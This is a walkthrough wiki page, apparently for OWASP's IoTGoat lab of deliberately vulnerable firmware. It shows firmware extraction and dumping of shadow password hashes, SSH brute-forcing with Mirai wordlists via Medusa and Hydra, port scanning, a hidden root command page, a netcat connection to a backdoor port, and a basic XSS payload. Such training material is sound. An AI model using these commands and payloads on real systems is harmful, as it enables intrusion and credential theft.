Skip to content

Challenge solutions

AG edited this page May 16, 2020 · 9 revisions

Table of Contents

  1. Hardcoded user credentials compiled into firmware
  2. Insecure Network Services
  3. Insecure Ecosystem Interfaces
    1. A "secret" developer diagnostics page
    2. Persistent backdoor daemon configured to run during start up
    3. XSS #1
    4. XSS #2
    5. XSS #3
  4. Lack of Secure Update Mechanism:
  5. Use of Insecure or Outdated Components:
  6. Insufficient Privacy Protection:
  7. Insecure Data Transfer and Storage:
  8. Lack of Device Management:
  9. Insecure Default Settings:

No 1: Hardcoded user credentials compiled into firmware.

v1.0 release contains two hardcoded users with passwords compiled into firmware images. Use the following steps to identify these sets of credentials.

  1. Use binwalk to extract IoTGoat's filesystem. Once extracted, a new directory with an underscore (__IoTGoat-raspberry-pi2.img.extracted) and firmware name will be created.
$ binwalk -e IoTGoat-raspberry-pi2.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
[snip]
  1. Search /etc/passwd and check which users will be greeted with a shell prompt (/bin/ash)
$ cat _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/etc/passwd*            
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
iotgoatuser:x:1000:1000::/root:/bin/ash
  1. Notice the root and iotgoat user contain logins to an ash shell. Next, search /etc/shadow files for passwords and note the users along with the hashing algorithm used.
$ cat _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/etc/shadow*
root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::
root:$1$KzoHhzG9$wGyFXbWOcRChy3e.Ep2NY1:18080:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
  1. We could choose to password crack the hashes offline with John or hashcat which could take a significant amount of time depending on password complexity. Alternatively, we can choose to brute force the password using popular wordlists based off of the Mirai botnet. The wordlist will need to be modified to only include passwords as the default format contains the user and password such as admin pass. Use the following to separate the passwords into a new file titled mirai-botnet_passwords.txt

awk '{print $2}' SecLists/Passwords/Malware/mirai-botnet.txt > SecLists/Passwords/Malware/mirai-botnet_passwords.txt

  1. With the passwords separated, specify the iotgoatuser user hardcoded in firmware to be attacked and use an online brute force tool such as Hydra, Medusa, or Ncrack built into Kali Linux. Examples are provided below.
root@kali:~# medusa -u iotgoatuser -P ~/SecLists/Passwords/Malware/mirai-botnet_passwords.txt -h 172.16.100.213 -M ssh
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: xc3511 (1 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: vizxv (2 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: admin (3 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: admin (4 of 60 complete)
[SNIP]
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: zlxx. (42 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: 7ujMko0vizxv (43 of 60 complete)
ACCOUNT FOUND: [ssh] Host: 172.16.100.213 User: iotgoatuser Password: 7ujMko0vizxv [SUCCESS]
root@kali:~# hydra -l iotgoatuser -P ~/SecLists/Passwords/Malware/mirai-botnet_passwords.txt ssh://172.16.100.213 -t 2
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-24 19:02:00
[DATA] max 2 tasks per 1 server, overall 2 tasks, 60 login tries (l:1/p:60), ~30 tries per task
[DATA] attacking ssh://172.16.100.213:22/
[22][ssh] host: 172.16.100.213   login: iotgoatuser   password: 7ujMko0vizxv
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-24 19:02:11
  1. The password of 7ujMko0vizxv is found using both tools. Try logging in with the newly discovered password via SSH.
root@kali:~# ssh [email protected]
he authenticity of host '172.16.100.213 (172.16.100.213)' can't be established.
RSA key fingerprint is SHA256:Z1DRws8usW95010UkEOJwn6A/5Y/XlA7sJC2Bfhx2UU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.100.213' (RSA) to the list of known hosts.
[email protected]'s password: 

BusyBox v1.28.4 () built-in shell (ash)

                                                           .--,\\\__         
 ██████╗ ██╗    ██╗ █████╗ ███████╗██████╗                  `-.    a`-.__    
██╔═══██╗██║    ██║██╔══██╗██╔════╝██╔══██╗                   |         ')   
██║   ██║██║ █╗ ██║███████║███████╗██████╔╝                  / \ _.-'-,`;    
██║   ██║██║███╗██║██╔══██║╚════██║██╔═══╝                  /     |   { /    
╚██████╔╝╚███╔███╔╝██║  ██║███████║██║                      /     |   { /    
 ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═╝╚══════╝╚═╝            ..-"``~"-'      ;    )     
                                           ╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐   ;'    `     
                                           ║│ │ ║ ║ ╦│ │├─┤ │   ;'    `      
                                           ╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴  ;'    `       
 ------------------------------------------------------------ ;'             
 GitHub: https://github.com/OWASP/IoTGoat                                                
 ------------------------------------------------------------   
iotgoatuser@IoTGoat:~$ 

  1. SUCCESS! With the current level of access, attempt to escalate privileges to the root user.

No 2: Insecure Network Services:

To find the many vulnerable network services, perform port scans targeting IoTGoat's IP address. Common tools are nmap and masscan. Using nmap, try the following:

  • nmap -p- -sT <IoTGoat_IP> The -p- flag scans all 65535 ports and the -sT flag specifies TCP. A list of open ports should be provided such as the following (non-exhaustive).

Note: Don't forget to scan UDP services!

PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
443/tcp   open  https
5000/tcp  open  upnp
5515/tcp  open  unknown

Continue probing each service for versioning information. Use nmap or any other fingerprint tool of your choice. An example service detection nmap command is provided below

  • nmap -p <port #'s> -sV <IoTGoat_IP>
nmap -p5000 -sV 172.16.100.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 23:10 EDT
Nmap scan report for IoTGoat (172.16.100.213)
Host is up (0.00045s latency).

PORT     STATE SERVICE VERSION
5000/tcp open  upnp    MiniUPnP 2.1 (UPnP 1.1)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=5/4%Time=5EB0D91A%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,124,"\x20501\x20Not\x20Implemented\r\nContent-Type:\x20text/h
SF:tml\r\nConnection:\x20close\r\nContent-Length:\x20149\r\nServer:\x20Ope
SF:nWRT/18\.06\.2\x20UPnP/1\.1\x20MiniUPnPd/2\.1\r\nExt:\r\n\r\n<HTML><HEA
SF:D><TITLE>501\x20Not\x20Implemented</TITLE></HEAD><BODY><H1>Not\x20Imple
SF:mented</H1>The\x20HTTP\x20Method\x20is\x20not\x20implemented\x20by\x20t
SF:his\x20server\.</BODY></HTML>\r\n")%r(GetRequest,117,"HTTP/1\.0\x20404\
SF:x20Not\x20Found\r\nContent-Type:\x20text/html\r\nConnection:\x20close\r
SF:\nContent-Length:\x20134\r\nServer:\x20OpenWRT/18\.06\.2\x20UPnP/1\.1\x
SF:20MiniUPnPd/2\.1\r\n
[SNIP]
</TITLE></HEAD><BODY><H1>Not\x20Implemented<
SF:/H1>The\x20HTTP\x20Method\x20is\x20not\x20implemented\x20by\x20this\x20
SF:server\.</BODY></HTML>\r\n");
MAC Address: 00:0C:29:00:AC:E7

Analyze the service detection response details and note information such as the service version (MiniUPnP 2.1), server version (OpenWrt 18.06.2), as well as the error code details. Proceed with interrogating each listening services with aggressive scripts that aid in vulnerability identification based on service versioning. Try searching for appropriate nmap scripts in Kali Linux under /usr/share/nmap/scripts directory. A upnp example using broadcast-upnp-info script is shown below.

nmap -sV --script=broadcast-upnp-info 172.16.100.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 23:39 EDT
Pre-scan script results:
| broadcast-upnp-info: 
|   239.255.255.250
|       Server: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
|       Location: http://192.168.50.143:5000/rootDesc.xml
|         Webserver: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
|         Name: OpenWRT router
|         Manufacturer: OpenWRT
|         Model Descr: OpenWRT router
|         Model Name: OpenWRT router
|         Model Version: 1
|         Name: WANDevice
|         Manufacturer: MiniUPnP
|         Model Descr: WAN Device
|         Model Name: WAN Device
|         Model Version: 20190130
|         Name: WANConnectionDevice
|         Manufacturer: MiniUPnP
|         Model Descr: MiniUPnP daemon
|         Model Name: MiniUPnPd
|_        Model Version: 20190130
[SNIP]
Nmap scan report for IoTGoat (192.168.50.143)
Host is up (0.00045s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      Dropbear sshd (protocol 2.0)
53/tcp   open  domain   dnsmasq 2.73
80/tcp   open  http     LuCI Lua http config
443/tcp  open  ssl/http LuCI Lua http config
5000/tcp open  upnp     MiniUPnP 2.1 (UPnP 1.1)
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html
|     Connection: close
|     Content-Length: 134
|     Server: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
|     Ext:
|     <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL was not found on this server.</BODY></HTML>
|   GenericLines: 
|     501 Not Implemented
|     Content-Type: text/html
|     Connection: close
|     Content-Length: 149
|     Server: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
|     Ext:
|     <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>Not Implemented</H1>The HTTP Method is not implemented by this server.</BODY></HTML>
|   HTTPOptions: 
[SNIP] 

No 3: Insecure Ecosystem Interfaces:

A "secret" developer diagnostics page

  1. Navigate to IoTGoat's web page using the IP address. (e.g. https://172.16.100.213/cgi-bin/luci/)
  2. Use a web proxy tool such as OWASP ZAP or Burp Suite to analyze HTTP communication. Ensure your browser is configured properly to enable traffic interception from your proxy tool of choice (See this link).
  3. Attempt to discover content using directory traversal and forced browsing attacks unauthenticated.
  4. If the secret diagnostics page is not found, login to the web interface using the root password (iotgoathardcodedpassword).
  5. With an authenticated session, perform discovery used in step #3. You may notice that you are not finding useful results for a number of reasons. Perhaps scans are overloading IoTGoat with requests which is a differentiator when attacking IoT applications vs web applications. Although, the main reason is due to the page being "hidden" and not linked anywhere within web pages. The benefit of attacking embedded web applications is using its firmware and analyzing its web root to find accessible pages.
  6. Download the latest IoTGoat firmware release and extract its filesystem using binwalk.
# binwalk -e IoTGoat-raspberry-pi2.img
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
4253711       0x40E80F        Copyright string: "copyright does *not* cover user programs that use kernel"
4253946       0x40E8FA        Copyright string: "copyrighted by the Free Software"
[SNIP]
14120994      0xD77822        Unix path: /etc/modprobe.d/raspi-blacklist.conf can
14137455      0xD7B86F        Unix path: /dev/input/event* device, all decoding is done by the kernel - LIRC is
14156211      0xD801B3        Unix path: /lib/systemd/system/hciuart.service
29360128      0x1C00000       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3946402 bytes, 1333 inodes, blocksize: 262144 bytes, created: 2019-01-30 12:21:02
  1. Find the web root that serves pages for IoTGoat. At first, you may be tempted to look into the www folder and find static files for LuCI and and a redirect to /cgi-bin/luci which is the default CGI gateway for LuCI. Dig a bit further into the web server's config file at /etc/config/uhttpd and find what /cgi-bin/luci actually does. You should find the following list lua_prefix "/cgi-bin/luci=/usr/lib/lua/luci/sgi/uhttpd.lua". Files appear to be served from /usr/lib/lua/luci/ in a model view controller (MVC) structure. For this exercise, we are most interested in pages we can "view" but contents in the controller directory are important to review. The view directory should contain the following:
# ls _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/usr/lib/lua/luci/view/
admin_network  admin_system  cbi            error404.htm  firewall    header.htm   iotgoat      themes
admin_status   admin_uci     csrftoken.htm  error500.htm  footer.htm  indexer.htm  sysauth.htm  upnp_status.htm
  1. Analyze each page in the view directory. Perhaps the iotgoat folder is a good choice to start with.
# ls usr/lib/lua/luci/view/iotgoat/
camera.htm  cmd.htm  door.htm
  1. We can see camera.htm cmd.htm and door.htm. Try directly accessing these pages in the web UI of IoTGoat such as https://<IoTGoat_IP>/cgi-bin/luci/iotgoat/cmd.htm or https://<IoTGoat_IP>/cgi-bin/luci/admin/iotgoat/cmd.htm. Both return a 404 Not Found and is not what we want.
  2. We mentioned the controller directory is important. Let's have a look at the iotgoat.lua controller in usr/lib/lua/luci/controller/iotgoat/iotgoat.lua. We notice an index that calls files from the view directory under the admin page and names for each page such as cmdinject.
function index()
    entry({"admin", "iotgoat"}, firstchild(), "IoTGoat", 60).dependent=false
    entry({"admin", "iotgoat", "cmdinject"}, template("iotgoat/cmd"), "", 1)
    entry({"admin", "iotgoat", "cam"}, template("iotgoat/camera"), "Camera", 2)
    entry({"admin", "iotgoat", "door"}, template("iotgoat/door"), "Doorlock", 3)
    entry({"admin", "iotgoat", "webcmd"}, call("webcmd"))
end
  1. This looks like a red flag based off of its name. Try and access the cmdinject page directly using https://<IoTGoat_IP>/cgi-bin/luci/admin/iotgoat/cmdinject.

Note: Authentication to the web UI is required.

We can see we are greeted with a nice "Secret Developer Diagnostics Page" that runs commands as root. Using this page, try gaining a shell on the device.

Persistent backdoor daemon configured to run during start up.

  1. Based on the TCP port scan results from initial probing (listed below), we can tell a number of services are listening for connections.
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
443/tcp  open  https
5515/tcp open  unknown
  1. Many listening ports are using commonly used services although, there is a service that is listed as "unknown". Try and connect to this port and analyze the response. The following command uses netcat to connect to port 5515 and displays the response output.
$ nc -nv <IoTGoat_IP> 5515
Connection to 172.16.100.213 port 5515 [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
  1. Try issuing commands and attempt to gain a full interactive shell.

XSS #1

  1. Login to IoTGoat's web UI
  2. Navigate to the Network menu and select Firewall
  3. Select the Traffic Rules tab

The URL endpoint should be https://<IoTGoat_IP>/cgi-bin/luci/admin/network/firewall/rules.

  1. Create a New forward rule with the Name parameter as arbitrary an JavaScript XSS payload. Try a basic payload first such as <script>alert("My first XSS");</script>. You should be greeted with a nice alert message as shown in the following image.
    XSS #1

A vanilla XSS works nicely due to lack of sanitization and output encoding. Subsequent XSS vulnerabilities follow the same pattern in the port forwarding and wireless SSID pages. Try more advanced XSS payloads that can do more damage. Hook a victims browser with the Browser Exploitation Framework (BeEF).

XSS #2

https://<IoTGoat_IP>/cgi-bin/luci/admin/network/firewall/forwards

XSS #3

https://<IoTGoat_IP>/cgi-bin/luci/admin/network/wireless

No 4: Lack of Secure Update Mechanism:

No 5: Use of Insecure or Outdated Components:

No 6: Insufficient Privacy Protection:

No 7: Insecure Data Transfer and Storage:

No 8: Lack of Device Management:

No 9: Insecure Default Settings:

Challenge guidance and exercise walkthroughs will be posted when available. We welcome all contributions from volunteers.